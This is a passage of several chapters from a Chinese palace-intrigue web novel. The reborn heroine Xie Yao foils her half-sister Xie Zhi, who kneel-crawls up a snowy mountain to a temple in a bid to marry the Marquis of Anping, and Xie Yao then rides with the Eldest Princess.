安平侯夫人让侯府车夫与马车留在栖凤山下,带着一名侍女,坐进谢窈车厢。 这辆马车极其宽敞,六七个人都坐得下,暖炉里的银霜炭烧得正旺,熏香袅袅,暗香浮动。 侯夫人接过蒲苇递来的热茶,先嗅到一缕梅花清洌的香气:“是雪前的雀舌,用梅花上雪水沏的?” “是,家母最喜雪前雀舌,雪水是我让人在后院梅花上采集的。”谢窈执起茶盏抿了口,笑意浅淡。 “这般好茶,在宫里都难常得,”侯夫人打量车厢,“云锦铺壁,银霜炭的暖炉,比我那车舒服多了,妹妹当真会享受。” “侯夫人客气了,只是些俗物,不值一提。” “外头总有些闲言碎语,说妹妹自边关回来,怕什么都不懂,依我看啊,这茶的讲究,这车里的门道,哪一样不雅致?往后谁再乱嚼舌根,我一定是要跟她理论的。” 安平侯夫人一脸义愤填膺,主动恭维起来。 话锋一转,她又问:“听说昨天,太后宫中的芝黛来了伯府?” 谢窈点了点头:“芝黛姑姑误会太后意思,已经被送回宫了。” 安平侯夫人道:“芝黛原是老礼部尚书的孙女,又差点成了先帝妃嫔,所以心高气傲了些,就喜欢自作主张。” “早些年,我在待嫁时,她来教导我礼仪,也是让我十分难受,妹妹可千万别因为一个奴婢,怪上太后。” 她暗暗替太后解释。 靖北王来伯府送聘,掌嘴芝黛的事,京中许多人都知道了。 她做为太后的儿媳,又是太后的侄女,不能不为太后说话。 谢窈语气淡淡:“侯夫人既然说了,是芝黛自作主张,那我怎会怪罪太后呢。” “妹妹能这样想,自然是极好的。”安平侯夫人笑着点头。 谢窈和她寒暄着,并不深交,一些话点到为止。 安平侯夫人名唤江丛嫣,是名副其实的太后一党。 此刻种种恭维,是不愿谢窈因为芝黛的事怪罪太后,顺便拉拢她。 但是,因为谢明安是太后党羽,所以,谢窈注定与太后敌对。 正说着,山路崎岖,马车慢了下来。 车夫道:“二小姐,前面有宫里的车。” 安平侯夫人掀开车帘,看到前方有辆不急不缓的马车,驾车的是两个宫中小太监。 “那是张庆才的车。”她认了出来。 “是了,长公主殿下归国后,一直在成佛寺为国祈福,陛下每隔几日,都会来探望长公主,若有国事缠身,就会让张庆才代自己来成佛寺。” 张庆才的马车在她们前面,很快消失在雪中。 谢窈望着山路。 庆才公公出现了,谢枝还远吗? 下一刻,安平侯夫人果然视线一凝:“妹妹你看,那,是不是你家那个庶女?” 她对谢枝印象深刻,不只因为谢枝是自己妹妹的好友,还因为这个庶女,那日竟敢在她面前,勾引她的夫君。 只见风雪满天的雪地里,出现一道熟悉的单薄身影。 谢窈眯起眸子,摩挲着怀中温暖的手炉,慵懒地打了个哈欠。 “还真是大姐姐,今日我出门前,她说也要来成佛寺,曾邀我同往,但我看她着急,就由她先走了半个时辰。” 顿了顿,她一脸疑惑:“没想到,早走了这么久,她怎么还没到山顶,反倒在这里步行?” 果然不出谢窈所料。 这一世,谢枝已经没法进宫了,却还是故意穿得单薄,要和自己一起来成佛寺。 害自己是一个原因,另一个原因,是…… 她的目标不再是皇上了,而是,是安平侯。 喜欢渣爹杀妻灭女?重生断亲,全族祭天请大家收藏:()渣爹杀妻灭女?重生断亲,全族祭天更新速度全网最快。 第97章 庶姐爬行,说别人心不诚? 连日大雪,将栖凤山染成一片素白,让上山道路变得艰难许多。 虽然有成佛寺的小沙弥清扫出一条山路,但雪还没停,很快路上又覆盖一层霜色。 不过,成佛寺是大寺,香火旺盛,再难走,来礼佛的人还是不少。 山路上,除了谢窈和安平侯夫人这辆大些的马车,前后也有几辆寻常人家的车架,都在平缓地向前,最不济的,也带着丫鬟侍女撑伞,一步一个脚印前行。 因此,许多人都注意到了雪地里的女子,纷纷看过去。 大雪纷飞,谢枝却只穿一件单薄夹袄,显露出窈窕瘦弱的身段。 她身上都是积雪,发髻也散了,几缕湿发沾在脸颊,俏脸冻成青白色。 看那面色,似乎随时会晕过去,却还强撑着身体,三步一拜,五步一叩首,在雪面拖出一条人行轨迹。 “她这是在干嘛?” 安平侯夫人放下茶盏,眼底浮现出几分困惑。 “好好的马车不坐,天寒地冻的,偏要在雪地里跪行,这是自己找罪受?” 谢窈轻声道:“大姐姐这样做,一定有她的深意,或许是她礼佛更心诚吧。等一会儿,我过去问问。” 她们还没问,山路上,落在谢窈后方的一辆马车停下。 车窗露出一位京中贵夫人的脸,她认出谢枝,和气地问:“是谢家大小姐吗,雪天难行,要不要我载你一程?” 谢枝步履未停,冻得开裂的嘴唇扯出笑意:“多谢夫人美意,枝枝心领了,只是,礼佛讲究一个心诚,枝枝还是想这样上山。” 贵夫人的侍女在车内嘀咕:“她怕不是一个傻子吧,大冷天的,非要这般作践自己?” “沽名钓誉之辈罢了,”贵夫人也看出了什么,眼底闪过一丝鄙夷,“又不是逢年过节,跪给谁看。” 谢窈坐在温暖舒适的车内,路过谢枝。 她仅露出一张冰冷侧脸,居高临下地俯视庶姐。 “大姐姐为何非要爬行?若是马车坏了,不如坐我的车。”她淡声道。 谢枝费力地仰头,只以为谢窈在嘲讽自己,并没有注意到她的马车里,多了一个安平侯夫人。 “二妹妹舒舒服服地上山便是,我想给心上人求个平安,听说,得三步一拜,五步一叩地去成佛寺祈福,才算虔诚。” 谢枝咬着染血的唇瓣,故意抬高声量。 谢窈眉头一挑,微笑反问:“大姐姐的意思是,非要下去跪着走,才算心诚,难道今日来礼佛,坐马车的香客,都心不诚?难道长公主平日上下山也得三叩九拜,否则,也心不诚?” 谢枝是想借自己高坐华车,衬托她兢兢业业礼佛的诚意。 于是,谢窈直接将她目的说了出来。 前世,谢枝是和另一个世家贵女上山到一半时,马车出了问题,她才下车跪拜。 虽然也有人怀疑她是借此邀名,但看她穿得单薄,又是为皇帝祈福,众人只能恭维她虔诚。 但现在,情况不一样。 谢枝主动弃了马车,只是为心上人求平安这样的小情小爱,一看就是故意的,还说跪拜叩行才算心诚,那岂不是把所有坐马车上山的人,都得罪了? 步行上山的寻常百姓,听到这话,也面露窘迫。 其他听到动静的两三辆马车,慢了下来。 谢枝只感觉数道阴沉目光落在自己身上,惊得她出了一身冷汗。 她连忙道:“二妹妹误会了,如此叩拜礼佛,只是我自己的事,是我执意如此,求个心安罢了。” 谢窈收回了视线,抱着暖手炉:“原来是这样,那大姐姐慢慢跪,我先走了。” 车帘闭合,她吩咐丫鬟:“天太冷了,车里暖炉似乎不太热,蒲苇,添两块银霜炭进去,再沏一壶热茶。” “是,小姐。” 谢枝听到里面传来隐约的暖意声音,指甲陷入掌心。 还有周围那些指指点点的异样眼神,也让她想哭。 谢枝被冻得哭不出来,膝盖在雪地里刺骨地疼,她却还是继续往前挪。 父亲没有骗她,方才,她已经看见宫里庆才公公的马车路过。 等她到了山顶,只消庆公公问一句为何如此,她就能顺势回答:自己和安平侯两情相悦。 这么多来成佛寺的香客,都看见她对侯爷的情意,再加上庆公公,说不定,她也能得到皇上赐婚! 到时候,这些看不起她的人,都得付出代价! 谢枝眯着眼睛看谢窈远去的马车,眼底阴沉怨恨。 她就得意吧,等今天一过,她就笑不出来了。 马车行至半山腰,将谢枝遥遥落在后面。 谢窈想起前世,谢枝在庆公公面前,为皇上祈福。 这一次,换成了安平侯。 她如此行径传扬出去,再由庆公公求个皇帝恩典,就能顺理成章嫁入侯府。 可她不知道的是,安平侯夫人江丛嫣,此刻,在自己的马车里! 安平侯夫人不是傻子,看见谢枝,就想起那日这个庶女和她夫君,在伯府眉目传情。 本小章还未完,请点击下一页继续阅读后面精彩内容!她再看谢窈淡然神情,什么都明白了,谢二小姐请她同行,就是为了让她见到这一幕。 她得感谢这位谢二小姐,若不是她叫自己来,怕是明天,安平侯就要给她添一个姐妹了。 而她还蒙在鼓里,浑然不知。 “心上人?我看她是攀高枝想疯了,敢打侯爷的主意,真是小小年纪,不知廉耻!”安平侯夫人冷笑一声,语气泼辣。 一旁侍女也听了出来:“这庶女的心上人,是侯爷没跑,还未出阁就如此胆大妄为,夫人万万不能让她入府!” 安平侯夫人翻了个白眼:“有我在,侯爷敢纳这小狐媚子庶女,门都没有。” 话音刚落,异变突生。 马车“咣当”声巨响,车身猛地倾斜。 “哎呦——”侯夫人发出惊叫。 谢窈镇定地起身,眼底毫无意外。 她单手扶住车壁,另一只手拉住差点摔出去的侯夫人。 只是,事情比她预想中更惊险,马车仍在倾斜,外面传来马匹的嘶鸣声,带倒了车内两个丫鬟,茶盏暖炉也被掀翻。 谢窈扶侯夫人坐下,抄起长刀,飞身而出,骑到一匹马背上。 “怎么回事?” “二小姐,是车轮陷进泥雪里,又被石头硌断了轮辙。” 车夫连忙解释:“两匹马的马车,小的平时不常赶,这马……也不太听话。” 谢窈垂眸细看,发现自己胯下拉车的老马鼻息粗重,鬃毛竖起,十分的暴躁不安,似乎随时会尥起马蹄狂奔。 看来,马被人下了药。 她眸色一沉,牢牢勒住缰绳,弯腰从旁边青石上掬一捧冰雪,捂到老马口鼻处,再伸手抓住马脖子安抚。 最后,拇指食指放在唇边,锐声一吹。 这匹马听到口哨声,竟奇异地安静下来。 等马车稳住了,安平侯夫人才颤巍巍掀开车帘。 谢窈道:“侯夫人放心,已经没事了。” 车夫却发出一声惊恐呼喊。 谢窈循声望去,见马车此刻歪着滑到山路一侧尽头,一丈之外,就是近似悬崖的雪坡。 但凡她刚才晚下车一会儿,马匹发狂,必然会将自己带到陡坡摔下。 车里的人,不死,也得摔残。 这是栖凤山,发生如此不详之事,取消婚事,也极有可能。 “小姐,马车不成了,咱们该如何上山?”蒲苇问道。 难不成,她们也跟谢枝似的,非要冒着雪受冻,走路爬上去? 谢窈抬眸远眺,看见了一座府邸。 喜欢渣爹杀妻灭女?重生断亲,全族祭天请大家收藏:()渣爹杀妻灭女?重生断亲,全族祭天更新速度全网最快。 第98章 长公主邀请谢窈,同乘凤驾 安平侯夫人被侍女搀扶,跑到山路上,恨不得离马车八丈远。 她不会认为,马车坏了是一场意外。 她是忽然决定坐谢家二小姐的马车上山,难道,是有人要害谢窈,让自己跟着遭了殃? 安平侯夫人不是多管闲事的人,于是只装作受惊的样子,没有多问。 想到谢窈刚才稳住缰绳,制服惊马的手段,她由衷感叹:“妹妹好身手,换做旁人,怕是早就慌了神。” 谢窈垂眸,抚摸着马匹鬃毛。 马车有问题,她早有预料。 该来的,总会来。 但车辙陷入雪地,拉车的马也被下了药,这种事,谢枝做不出来。 谢枝只想靠跪拜上山,赢得虔诚礼佛的名声,怎敢动这种会伤及自身的手脚? 如果一开始,谢窈和她坐一辆车,马匹受惊掀翻马车,自己有武艺傍身,不会有性命危险,她却不一定。 唯有谢明安,在朝堂上道貌岸然,在家中如同慈父,实际上,哪怕是他疼爱的庶女,也只是他手里的工具的人,才做得出来。 若是今日谢枝出事,谢窈连带着受伤,谁会怀疑下此毒手的人,是她们的父亲? 谢窈安抚道:“赶车的人蠢笨,家里的马也不太好,让侯夫人受惊了。” 安平侯夫人故作镇定地挤出笑容:“还好,只是虚惊一场。” 正说着,陪在她身边的侍女忽然看向远处:“夫人你看,那边有一户人家,不如我们前去休息片刻,再等个熟识之人,借她们的马车?” 安平侯夫人顺着她的指向望去。 果然,远处一片落满积雪的青松掩映下,露出个青墙黛瓦,朱门紧闭的府邸,门楣上挂着块匾额,上面是“栖凤”二字。 “成佛寺的半山腰,怎么会有府邸?”侯夫人疑惑道。 谢窈回答:“是长公主在栖凤山的住处,长公主常年在成佛寺祈福,皇上特意将这处院子赐给她。” “长公主?!”安平侯夫人眼前一亮,随即又犯了难,面露犹豫。 长公主是皇上一母同胞的长姐,也是燕国的功臣,更是传闻中多年前的大燕第一美人,她早就想与之结交。 但长公主归国后,既对皇上的众多赏赐无动于衷,又对太后的拉拢不以为意,向来中立于各方势力之间。 她身为江家女,怕贸然前去,吃个闭门羹,反倒让谢二小姐看了笑话。 见路过的陌生香客都打量她们,安平侯夫人的眼神更加迟疑。 她可不想像之前那庶女那样,冒着雪走路,不,那是爬行。 “你现在下山,叫侯府的马车上来,接我和妹妹。”她回头对侍女说。 侍女正要领命离开,院门口就走出一队宫人。 为首的小太监,是长公主身边的双喜。 在安平侯夫人震惊的目光中,双喜径直走到谢窈面前,向她恭敬地行礼。 “谢二小姐,长公主请您同乘凤驾,上山祈福。” 谢窈微微颔首,又道:“这位是安平侯夫人,本是臣女邀来的,不知殿下能否让臣女带她一起?” 双喜瞥了一眼,客气地说:“这个,得容奴才去问问殿下的意思。” 小太监如此冷淡,安平侯夫人没有任何不满。 长公主是何等身份,那是对太后都不屑一顾的主,燕国没有皇后,说她是全燕国最尊贵的女人,也不过分。 在长公主面前,她这个安平侯夫人,算得了什么? 过了一会儿,双喜折返回来:“殿下说了,侯夫人既然和二小姐同行,便一道来吧。” 两名宫人将伯府的马车拖出雪地,拉到旁边。 谢窈打发车夫自行下山,随即,不卑不亢地跟上双喜。 安平侯夫人则已经呆住了,忙不迭跟在她身旁。 长公主,竟会邀请谢家二小姐同乘? 自己还沾她的光,也能坐上凤驾? 她暗中看谢窈,见她神情从容,越发觉得这谢二小姐深不可测。 刚走到府邸门前,就看到几个侍女在门口左右张望,一个个急得跺脚。 “她们是在找什么?”谢窈问道。 双喜躬身道:“回谢二小姐的话,是长公主今日晨起时,在门前遗落了一支玉簪,她们正四处寻找呢。” 谢窈目光扫过周围,忽然指着一棵青松:“劳烦公公看看,这棵树底下有没有。” 双喜上前,却不抱什么希望。 那几个宫女找了一个时辰无果,难道谢二小姐随便一指,就能找到? 忽然,他手指触到了玉器的质感。 双喜愣了愣,连忙扒开积雪。 竟然真是长公主弄丢的那支凤凰嵌珠的玉簪。 “找到了,殿下,找到了!” 双喜喜出望外,拿起玉簪回禀。 没多时,长公主的凤驾缓缓出现。 安平侯夫人连忙屈膝行礼,头埋得很低:“臣妇见过长公主殿下,殿下千岁。” 忍冬从凤驾后方绕出来,快步回到谢窈身后。 她去安平侯府找完侯夫人后,就按照谢窈的吩咐,早先一步,和长公主说了一件事。 本小章还未完,请点击下一页继续阅读后面精彩内容!“上来吧。” 隔着车帘,传来一道威严的声音。 “是,”谢窈也行了礼,转身扶起腿都软了的安平侯夫人,“侯夫人,走吧。” 凤驾内温暖如春昼,浮动着沉寂浓郁的檀香。 长公主李相宜年过三十,面容略显苍白。 她端坐在白狐裘的软榻上,身着金丝鸾鸟朝凤绣纹的华服,容貌国色天香,眉眼明艳如牡丹红梅,却透着拒人千里的华贵清冷。 安平侯夫人心头狂跳,紧张地手心冒汗:“见过殿下,殿下凤仪万千,臣妇失态,望殿下见谅。” 她少女时,这位长公主已经奉先帝旨意,嫁去雍国和亲,是雍国皇帝的贵妃。 去岁长公主归国,她只是随文武百官和皇亲国戚们,远远迎接。 即便是在宫宴上,她也没和长公主挨得这么近过。 长公主摩挲着失而复得的玉簪,并未理会安平侯夫人,却淡淡抬眼,看向谢窈。 “谢二小姐,又见面了,你这姑娘倒是和本宫有缘。” 她顿了顿,眼底带着几分探究:“这玉簪是母后的旧物,本宫近日佩在发上,今早忽然发现没了,别人找了一个时辰都没找到,你是怎么一眼看见的?” 谢窈坦然迎上她的目光,笑着回道: “臣女自幼在健妇营习弓练箭,眼力本就过人,方才见那棵青松旁边的雪,比其他树要薄一些,就斗胆猜测殿下曾在树下停留过,便想碰碰运气,没想到真找到了。” 喜欢渣爹杀妻灭女?重生断亲,全族祭天请大家收藏:()渣爹杀妻灭女?重生断亲,全族祭天更新速度全网最快。 第99章 庶姐爬来了,但心思白费! 谢窈故意提起健妇营,语气骄傲。 若说当今世上,最在乎健妇营的人,莫过于自己和长公主。 自己与营中那些女子同为袍泽,九年里肝胆相照。 而长公主,只因健妇营,是沈皇后最大的遗物。 长公主归国这一整年,都待在成佛寺。 她嘴上说是为国祈福,实际上,是为沈皇后祈福。 前世,谢窈听陆母提起,长公主给沈皇后在成佛寺后寺立了一座庙,庙里供有沈皇后的玉像与画像。 长公主还因为这座庙,被朝中官员以逾制营庙,耗费金银等理由弹劾。 世人说皇帝纯孝,但谢窈认为,长公主是沈皇后的女儿,世上最在乎,最怀念母亲的,一定是女儿。 长公主听到“健妇营”三个字,凤眸一颤,望着手中沈皇后的玉簪,眼底闪过怀念。 再看眼前明眸皓齿的少女,她的眼神越发复杂。 谢窈的确和自己有缘。 是她,给自己万里迢迢送回两封信,其中一封,是母后的遗书。 另一封,更关乎那个男人——自己半生的心结。 今天又是她,让丫鬟来通知,说她来成佛寺,不仅是给靖北王祈福,还会代表如今的健妇营,给昔年沈皇后那八千英烈女卒上香,更会为母后的在天之灵祈福。 怕一些别有用心之人阻止,所以,她提前求自己庇护。 一个还未出阁的小女子,敢对自己说,她要利用自己。 如此的胆大包天,偏偏自己知道后,不但不生气,还心甘情愿地来了,并且邀请她同乘凤驾。 还是她,刚才在雪地里,找回了母后的玉簪。 长公主闭目养神,不再说话。 说什么? 说你这小妮子利用自己,怪罪一番?不至于。 给她赏赐嘛,心里又不太得劲。 安平侯夫人听到谢窈的话,同样若有所思。 她差点忘了,京中贵女们,因为谢窈是健妇营的女卒,说人家是乡野边境长大的村妇。 而实际上,人家得到长公主的另眼相看,八成因为她是健妇营的。 真是福兮祸之所倚,祸兮福之所倚。 风雪渐息,凤驾刚到山顶,外面就传来庆才公公略显尖细的声音: “奴才恭迎长公主殿下,殿下千岁千岁千千岁!” 穿着一品太监服,身后还跟着几名宫人的张庆才,早已恭候在成佛寺门口,没敢撑伞,肩上落了一层薄雪。 长公主睁开眼,由侍女搀扶她,一旁华盖跟随。 她神情冰冷威仪,并不搭理庆公公,庆公公也早就习惯了长公主的冷漠。 任凭长公主态度冷淡,陛下也是每隔几日,都会亲自来看望长公主。 前两天靖北王又进宫,让陛下染了风寒,才会派自己来。 这一年多雷打不动,风雨无阻。 只因长公主,是陛下一母同胞的亲姐姐。 当年沈皇后被先帝赐死,长公主和还是五皇子的皇上姐弟俩,一夜之间,从云端跌入尘芥。 长姐如母,长公主护幼弟度过了一段最艰难的日子,之后她被先帝送去敌国和亲,嫁给了雍国年过半百的老皇帝为妃。 她替陛下,替大燕受了太多苦。 张庆才深知,在陛下心里,长公主的分量,远胜过江太后。 谢窈和侯夫人在后面,依次下车。 看见她们,庆公公一下子睁大了眼睛。 那不是安平侯夫人,和谢家二小姐吗! 上次见谢二小姐,是在文昌伯府宣赐婚圣旨的时候。 一晃一个多月,当初那从边关回京,打扮土里土气,仍旧难掩风华的伯府嫡女,已经是册封的靖北王妃了。 庆公公多看了谢窈两眼,还是难免被她的容颜惊艳。 长公主做为昔日的燕国第一美人,谢窈在旁边竟然并不逊色,而且她是风华正茂。 做为皇上身边的人精,他立即笑容满面地迎上前。 “诶呦!奴才小庆子,给安和县主和谢二小姐请安,什么香风暖雪,把您二位吹来了?” 安平侯夫人一扫刚才在凤驾上的战战兢兢。 “庆公公这张嘴,真是会说话,我都做了好几年侯夫人的人了,你怎么还叫我安和县主啊。” 她嘴上怪罪,实际上唇角扬了起来。 庆公公:“县主哪里的话,您是侯夫人,也不耽误您是咱们尊贵的县主。” 谢窈抬起头,成佛寺还是和她小时候一样,琉璃瓦在雪光下泛着金光,气派非凡,里面传来阵阵佛音。 庆公公又道:“奴才提前祝谢二小姐与王爷新婚之喜,嘿,奴才那日初见二小姐,就知道您绝非池中之物,您的福气啊,可是后头呢。” “庆公公太客气了,今日,我倒是没有赏钱给你了。” “有没有赏钱,奴才也得说实话啊。” 一行人正要走进内殿暖阁,就见到一道跌跌撞撞的身影,从雪地里爬上来。 是谢枝,终于爬上来啦。 谢窈眉毛一挑。 大姐姐爬的真慢,让她等了好久。 这章没有结束,请点击下一页继续阅读!此刻,谢枝膝盖早就冻得麻木,头发散乱,脸色发青,每跪一步都踉踉跄跄,模样狼狈至极。 安平侯夫人看见她,仿佛骤然被点了什么战斗穴位,浑身都支棱起来,脸色也变得阴晴不定。 连庆公公和长公主,都看出了侯夫人忽然的变化。 庆公公目光落到谢枝身上。 他上山时看见这位伯府庶女跪行了,但当时着急上山,没来得及细问。 这是抽的哪门子邪风,不想活了,要死在佛祖面前? 庆公公可是记得那日王爷进宫,告诉陛下了这位枝姑娘被堂兄觊觎的事,惹得陛下龙颜大怒的。 他偷瞟谢窈。 谢二小姐神情淡定,什么也瞧不出来。 眼前这三个女人,都顶顶尊贵,他一个也得罪不起。 于是,庆公公走到谢枝面前。 “咳咳,”他轻咳一声,一本正经地问,“可是谢家大姑娘谢枝?枝姑娘,雪天路滑,您何必对几位贵人行此大礼?” 谢窈也发现,庆公公确实会说话。 在安平侯夫人面前,叫她安和县主,让她回想起还未成为人妇时的少女日子。 在自己面前,叫谢枝是枝姑娘,不会让别人误会谢枝是伯府嫡小姐,更是不得罪自己。 谢枝已经快冻僵了,看见视线里出现一双宫中内侍的靴子,她眼前一亮,连忙扬起脖子。 真是庆才公公! 谢枝心中狂喜,嘴唇哆嗦着:“小女子与心上人真心互许,甘愿为他祈福,三步一拜,五步一叩,如此方为心诚。” 她虽然浑身瑟瑟发抖,字句却极其清晰,就等着庆才公公追问她的心上人是谁,好抛出安平侯的名字。 她做了这么多,不就是为了此刻吗。 话音未落,头顶传来一声嗤笑。 “现在这小姑娘啊,真是了不得,没有三媒六聘,没有父母之命,就敢与人私定终身,还扯什么心上人。” 安平侯夫人往前迈了一步,俯视脚下的谢枝,双手腰间一叉。 “是哪家的儿郎,能让枝姑娘抛下礼义廉耻,在大庭广众之下跪在雪地里?” “早前听闻你是京中才女,温婉知礼,本夫人当是多贞烈贤淑的女子,原是这样没羞没臊,想攀高枝想疯了的狐媚子!” 她越说越来气,恨不得指名道姓地破口大骂。 这番话,像一盆冰水,兜头浇在谢枝身上。 庆才公公何等精明,一听“攀高枝”,再看安平侯夫人那阴阳怪气的态度,瞬间就明白了七八分。 文昌伯府的庶女,打上了安平侯的注意。 可她怕不是个傻的,安平侯的正妻,安和县主就在这儿呢,这枝姑娘,就敢上赶着给县主添堵。 还想让自己给她抬轿子,啧,不可能。 庆才公公眼皮一耷拉,把到嘴边的话咽了回去,往后退了两步,一副事不关己的模样。 谢枝这才抬头,看清了自己面前都有谁。 见到说话的安平侯夫人,她脑海中“轰”地一声,变得一片空白。 完了。 喜欢渣爹杀妻灭女?重生断亲,全族祭天请大家收藏:()渣爹杀妻灭女?重生断亲,全族祭天更新速度全网最快。 第100章 庶姐哗众取宠,成了笑柄! 谢枝怎么也没想到,安平侯夫人会在这里! 她震惊地睁大眼睛,又看见侯夫人旁边,还有冷眼旁观的谢窈和长公主! 情急之下,谢枝忽然回想起她母亲孙姨娘平日的作态。 她脑子一热,竟然伏跪在安平侯夫人脚下,仿佛妾室在正室面前伏低做小,唉声啜泣起来。 “还望夫人成全,枝枝对侯爷一往情深,与他是两情相悦——” “两情相悦?”安平侯夫人蓦地打断,“是不知廉耻吧!” 她直接挑明了谢枝的目的,声音抬高,语气尖锐。 “侯爷要是真的对你有情,会按规矩去你谢家提亲,偏偏你在这儿作妖,是想逼侯府就范?” 再看这庶女哭哭啼啼,她脸色更沉:“哭什么,你当本夫人是侯爷,心疼你这幅楚楚可怜的模样?” 谢枝摇头:“枝枝不敢,枝枝只是想给侯爷祈福,绝没有逼迫侯爷的意思。” 谢窈叹了一口气,一脸无奈。 “原来大姐姐的心上人是安平侯,那你早点说不就好了,若想成婚,得侯爷找父亲下聘,怎么你偏要行此破规矩的事。” 长公主看了谢窈一眼,猜到了什么。 “在佛祖观音面前,这般行径,确实不成体统。”长公主淡淡地开口,眼眸深邃。 听到长公主的话,周遭那些上山路上见过了谢枝跪拜的香客,望着谢枝的眼神,多了几分鄙夷。 “都说谢家大小姐最是温婉娴静,没想到,背地里竟然与安平侯私相授受。” “娴静?我瞧不过是装的。” “庶女就是庶女,终究上不了台面,安平侯可是皇上的弟弟,她也不掂量掂量,真当自己能攀上这样的高枝?” “在侯夫人面前,说自己爱慕安平侯,还说得一往情深,不是蠢的找死是什么。” “我可算是看明白了,原来谢枝今日跑到成佛寺又是磕头又是跪拜,哪儿是来祈福的,分明是故意演戏,想逼安平侯娶她!” 细碎的窃窃私语传到谢枝耳中,她猛地抬起头,看向谢窈,眼神怨毒。 “是你!” 她脱口而出:“是你把侯夫人请来的。” 谢窈这个贱人,害惨了她! 她在雪地里跪行磕头了两三个时辰,差点冻死在路上,不但没能让庆才公公成全自己和侯爷一桩佳话,反而因为突然出现的侯夫人,让她成了个笑话! 庆公公默默挪开视线,仿佛看不见地上的大活人,恭敬地说:“天寒,还请殿下移步暖阁。” 谢窈跟在长公主后面,从谢枝身边路过。 迎着谢枝淬毒似的目光,她平静地说:“我可没有大姐姐虔诚,虔诚到在山上爬行表明心意。” 谢窈的唇角似有似无地勾了下,抬起手,松了松温暖的猞猁大氅。 “不过,我确实是嫌路上冷清,所以特意请来侯夫人同行。大姐姐如此激动,是在怪我吗?” 她回想起前世。 自己在冰冷的病榻上,烧得浑身发颤,奄奄一息。 而谢枝正被册封为妃,春风得意,来看望自己。 她身披雪白狐狸皮毛的大氅,手里是温暖的鎏金手炉,站在自己床边。 “二妹妹屋里都是病气,这么晦气,人怎么能好。” 不等自己说话,谢枝就让丫鬟打开卧房门。 她说:“你身子弱,总闷着也不事,透透风,说不定还能好快些。” 寒风灌进来,本就没有炭火的屋子,顷刻间变成一座冰窖。 临走时,谢枝又得意地反问。 “过些日子,本宫就要入宫,当陛下的娴妃了,往后怕是再难见到二妹妹,真是可惜……二妹妹是伯府嫡女,怎么落得这样的下场呢。” 谢窈垂眸,看着此刻恨不得杀了自己的谢枝,眼神无波无澜。 想踩着自己往上爬,依靠庆才公公嫁入侯府? 才这点侮辱受挫,大姐姐就受不了了。 谢枝看出谢窈的嘲讽,满心恨意在胸腔翻涌。 可偏偏,她一句话也无法解释,无法直言。 千句万句自己和安平侯的情意,在安平侯夫人面前,都无话可说。 她想到上山前,特意让心腹丫鬟蔓儿,把自己跪拜叩首,为心上人祈福的事,主动宣扬了出去。 如今,反倒更能让安平侯夫人嘲讽她的话,明天就传遍京城! 她本就所剩无几的名声,彻底没了! 谢枝干裂的嘴唇颤了颤,呼吸急促。 额头磕出的青紫,越发衬得她面容狰狞。 谢枝死死地盯着谢窈,急火攻心,眼睛一翻,“啪叽”倒了下去。 “这就晕了?” 安平侯夫人毫不留情地挖苦。 “刚才爬得不是很有力气吗,这会儿知道丢人了?我看是装晕。” 这时候,一个面容慈祥,眉毛花白的老和尚,从寺庙内走出来。 “贫僧觉岸,拜见长公主殿下。”觉岸行礼道。 长公主向他微微颔首。 觉岸是成佛寺的方丈,指点过当年的沈皇后,长公主十分敬重他。 这章没有结束,请点击下一页继续阅读!觉岸和尚低头,仔细打量着昏死过去的谢枝,眼神深邃。 “心比天高,却哗众取宠,真是罪过,罪过。”他双手合十,叹息道。 顿了顿,觉岸对身旁的僧人吩咐:“出家人以慈悲为怀,既是进了寺门,把这位女施主抬到后院,喂碗暖身的汤药吧,别让她这幅样子,污了佛门净地。” 长公主扫过谢枝:“行了,祈福要紧,不必理会不相干的人。” 两个小沙弥架起谢枝,将其拖走,在雪地里留下一道狼狈的拖痕。 安平侯夫人望着她背影,暗暗啐了一口,犹不解恨:“什么狐媚子的货色,也配肖想侯爷。” 想到自家侯爷是个什么性子,她又皱起眉头。 娶了自己为正妻,再收几房妾室,可以。 但想纳谢枝这种高门大户,还没入府就心怀算计,想压自己一头的贵妾,做梦。 她可不是文昌伯府那个伯夫人,让自己的夫君宠妾灭妻。 日后,她非得和李钰好好说道说道。 两个小沙弥抬着谢枝到后院,正想找个地方把她放下来,一名丫鬟打扮的女香客走上前。 “这是我家小姐,两位小施主,将她交给奴婢吧。” 谢枝睁开眼,看见是自己的心腹丫鬟蔓儿,点了点头。 小沙弥于是将她交给蔓儿。 谢枝被蔓儿搀扶到一间禅房,累得满头大汗。 禅房里,一个锦衣华服的年轻男子,早就站在床边。 正是安平侯李钰。 喜欢渣爹杀妻灭女?重生断亲,全族祭天请大家收藏:()渣爹杀妻灭女?重生断亲,全族祭天更新速度全网最快。 第101章 要她身败名裂?故人前来 丫鬟蔓儿将谢枝搀扶到塌上,抹着眼泪。 “大小姐这膝盖浸了雪,得赶快去看大夫才好,否则,怕是会落下病根。” 谢枝没有理会丫鬟,而是看向一旁的安平侯,眼泪“唰”地涌出来。 她颤抖地站起身,刚走两步,双腿就传来刺骨疼痛。 “侯爷,侯爷,枝枝差点就见不到您了!”谢枝扑到安平侯怀里,哭诉起来。 “哭什么哭,本侯不是来了吗。” 安平侯见她满身污泥雪水,立即把她推开,语气冷淡。 “你怎么弄成这副鬼样子,还有这脸,是怎么回事?” 谢枝脸颊浮出两片青紫色泛着血丝的红晕,额头正中磕出块巨大乌青,乍一看,好像破了相。 “脸,我的脸……妾身现在很丑吗?” 看到安平侯嫌弃的目光,谢枝一惊,急忙捂住脸颊。 安平侯:“丑,非常丑。” 谢枝呼吸一窒,泪如雨下道:“是侯夫人在,张庆才那个老阉货只会装傻充愣,妾身为了给您祈福,在雪地里爬了半日,却丢尽了脸面,被侯夫人羞辱,求侯爷为妾身做主啊!” “江氏来成佛寺了?”安平侯眉头一皱,下意识往禅房外望了望。 这世上,他在乎的人不多,和自己夫妻多年的江丛嫣,勉强算上一个。 只不过,江丛嫣在侯府里只会多管闲事,像只母老虎。 前些日子,他玩死个婢女,江丛嫣还要向母后告状,让他心烦得很。 谢枝哽咽道:“是啊,都怪谢窈那个贱人,她居然请来了侯夫人同行。” 安平侯勉强拉起她,安抚道:“行了,不就是江氏吗,她是母后的侄女,本侯平时给她几分面子,但她就算来了,也碍不着本侯的事。” 谢枝却满心不甘,忽然转身,瞪向正准备退下的蔓儿。 “啪!” 她给了蔓儿一巴掌,狠狠撕扯对方一头秀丽乌发,用了十成十的力气。 “你这个废物刚才死哪去了,不知道早点回来给本小姐撑伞,是不是心里想像那些香客一样,看我的笑话!” 